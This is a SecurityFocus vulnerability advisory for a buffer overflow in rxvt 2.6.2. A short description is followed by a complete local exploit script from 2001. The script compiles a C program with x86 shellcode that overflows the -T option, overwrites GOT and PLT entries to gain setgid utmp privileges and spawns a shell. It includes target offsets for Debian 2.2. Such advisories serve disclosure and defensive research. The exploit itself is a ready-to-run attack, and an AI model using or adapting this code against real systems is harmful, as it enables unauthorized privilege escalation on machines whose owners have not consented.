source: http://www.securityfocus.com/bid/2878/info

Rxvt is a color VT102 terminal emulator for X intended as an xterm(1) replacement.

A buffer overflow vulnerability exists in rxvt.

The error occurs when certain command line options with long arguments are passed to rxvt.

Because rxvt is installed setgid 'utmp' by some system configurations, it may be possible for local users to execute arbitrary code/commands with these privileges.

#!/bin/sh

#
# MasterSecuritY <www.mastersecurity.fr>
#
# xrxvt.sh - Local exploit for xrxvt 2.6.2
# Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
# Copyright (C) 2001  Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

echo "rxvt-2.6.2 exploit for Linux Debian 2.2"
echo "Which target :"
echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2"
echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2"
echo
echo -n "target : "

read TARGET

cat > /tmp/xx.c <<EOF
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
        char * p_ttyname;
        char * argv[] = { "/bin/sh", NULL };

        p_ttyname = ttyname( STDERR_FILENO );
        if ( p_ttyname == NULL ) {
                return( -1 );
        }
        if ( open(p_ttyname, O_RDONLY) != STDIN_FILENO ) {
                return( -1 );
        }
        if ( open(p_ttyname, O_WRONLY) != STDOUT_FILENO ) {
                return( -1 );
        }

        execve( argv[0], argv, NULL );
        return( -1 );
}
EOF
gcc -o /tmp/xx /tmp/xx.c
rm -f /tmp/xx.c

cat > /tmp/xrxvt.c << EOF
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <X11/X.h>
#include <X11/Xlib.h>

#define BUF 256 /* buffer size */
#define EBP 4
#define EIP 4
#define ESC 3   /* alignment */

#define GID "\x2b"
#define DISPLAY ":0"
#define STACK ( 0xc0000000 - 4 )

Display *d;

char shellcode[] =
/* setregid( -1, GID ); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* setregid( GID, GID ); */
"\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* Aleph One ;) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";

struct os
{
    int id;
    char *desc;
    char *path;
    unsigned long plt;
    unsigned long got;
};

struct os target[]=
{
    { 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm",
      0x0804add0, 0x0805c964 },
    { 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt",
      0x0804a690, 0x08059e1c },
    { 2, NULL, 0, 0 }
};

void usage ( char *cmd )
{
    int i;
    fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n");
    fprintf(stderr, "usage: %s <target>\n",cmd);
    fprintf(stderr, "with target:\n\n");
    for( i < 0; i < sizeof(target) / sizeof(struct os); i++ )
        fprintf(stderr, "%d. %s\n", i, target[i].desc);

    exit( -1 );
}

int main(int argc, char *argv[])
{
    char buffer[ BUF - ESC + EBP + EIP + 12 + 1];
    char * exec_argv[] = { NULL, "-T", buffer, NULL };
    char * envp[] = { shellcode, NULL };
    int i, t;
    char *path;

    if ( argc != 2 )
        usage(argv[0]);

    t = atoi(argv[1]);
    if( t < 0 || t >= sizeof(target) / sizeof(struct os) )
        usage( argv[0] );

    path = (char *)malloc(strlen(target[t].path)+1);
    strcpy(path,target[t].path);

    if ( (d = XOpenDisplay(DISPLAY)) == NULL ){
        fprintf(stderr, "Unable to open display: %s\n", DISPLAY);
        exit(10);
    }

    for ( i = 0; i < BUF - ESC + EBP; i++ ) {
        buffer[ i ] = 'A';
    }

    *( (size_t *) &(buffer[i]) ) = target[t].plt;
    i += sizeof(size_t);
    *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
    i += sizeof(size_t);
    *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
    i += sizeof(size_t);
    *( (size_t *) &(buffer[i]) ) = STACK - (strlen(path) + 1) - sizeof(shellcode);
    i += sizeof(size_t);

    buffer[i] = '\0';

    exec_argv[0] = path;
    execve( exec_argv[0], exec_argv, envp );
    return( -1 );
}
EOF
gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11
rm -f /tmp/xrxvt.c

echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..."
echo "And see ..."
/tmp/xrxvt $TARGET